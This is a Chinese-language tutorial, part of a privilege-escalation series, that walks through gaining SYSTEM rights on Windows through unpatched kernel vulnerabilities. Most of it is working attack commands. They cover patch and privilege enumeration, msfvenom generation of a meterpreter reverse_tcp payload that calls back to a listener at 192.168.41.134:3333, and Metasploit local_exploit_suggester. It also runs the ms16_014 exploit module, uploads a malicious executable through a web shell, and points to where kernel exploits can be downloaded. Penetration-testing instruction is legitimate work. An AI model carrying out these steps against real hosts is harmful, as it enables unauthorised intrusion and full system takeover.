操作系统权限提升(三)之Windows系统内核溢出漏洞提权
系列文章
操作系统权限提升(一)之操作系统权限介绍
操作系统权限提升(二)之常见提权的环境介绍
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!!
Windows系统内核溢出漏洞提权介绍
溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出,提权又分为远程溢出和本地溢出。远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程服务器的 Windows操作系统Systen权限。本地溢出是主流的提权方式,通常需要向服务器上传本地溢出程序,然后在服务器执行,如果系统存在漏洞,那么将会溢出获得 Windows操作系统System权限。
缓冲区提权步骤如下
(1)信息收集,例如查看当前权限,查看版本、补丁等
(2)根据收集到的信息确定可利用漏洞
(3)根据漏洞查找EXP
(4)使用EXP提权
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁
systeminfo
wmic qfe get caption,description,hotfixid,installedon
查看当前的权限
whoami /groups
常见补丁对应漏洞表
利用MSF提权
使用MSF提权必选先上线到MSF然后使用如下的插件进项提权扫描
> getsystem 提权 一般是将管理员提升到system
> use post/windows/gather/enum_patches
> use post/multi/recon/local_exploit_suggester
1、上线到MSF
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe (32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe (64位)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit
2、先使用自动提权getsystem,失败的机率很大
3、使用脚本检测可以利用的提权模块,速度可能有点慢,耐心等待
use post/multi/recon/local_exploit_suggester
set session ID
run
4、获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run
windows exploit suggester提权
Windows-Exploit-Suggester是一款提权辅助工具,下载地址如下
https://github.com/GDSSecurity/Windows-Exploit-Suggester
它是用python开发而成,运行环境是python本,且必须安装xlrd 库其主要功能是通过比对systeminfo,生成的文件,从而发现系统是否存在未修复漏洞。
步骤如下:
1、下载软件
2、通过systeminfo > systeminfo.txt 生成txt文件
3、python2 -m pip install xlrd==1.2.0 安装库
4、python2 windows-exploit-suggester.py --update 更新库会生成xls文件
5、python2 windows-exploit-suggester.py --database xls文件名 --systeminfo
systeminfo.txt
6、对比信息查找漏洞
我们得到了很多可以提取的漏洞
在线辅助提权
https://i.hacking8.com/tiquan
http://bugs.hacking8.com/tiquan/
1.打开网站
2.通过systeminfo > systeminfo.txt 生成txt文件
3.复制文件内容,放入输入框
4.得到可以提权的漏洞模块
EXP如何搜索
我们现在已经知道了那些漏洞可以利用,那我们该如何去搜索这些可以利用漏洞的EXP呢
有如下三个网站可以供我们去利用
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits
我们可以根据所获得的提权漏洞的编号去下载对应的提权EXP进行利用
Windows系统内核溢出漏洞实战
现在控制了一台机器然后需要进行提权
EXP利用提权
1、查看当前用户权限,是apache权限需要提权
whoami
whoami /groups
2、查看安装补丁情况,发现安装了两个补丁,我们查找EXP进行提权
systeminfo >systeminfo.txt
3、将systeminfo.txt内容中的数据复制,输入补丁情况进行查询
https://i.hacking8.com/tiquan
http://bugs.hacking8.com/tiquan/
4、我们这里选择一个可以利用的EXP,下载对应的EXP利用模块
https://github.com/SecWiki/windows-kernel-exploits
5、利用EXP执行提权命令
MSF提权
1、查看当前用户权限,是apache权限需要提权
whoami
whoami /groups
2、上线到MSF
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o zs.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit
3、通过蚁剑上传恶意程序
4、在目标机器上执行zs.exe
5、等待会话建立
6、执行命令,将会话放入后台
background
7、搜索提权的漏洞
use post/multi/recon/local_exploit_suggester
set session 5
run
8、使用获得的提权漏洞所对应的模块
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 5
run
9、查看当前权限
getuid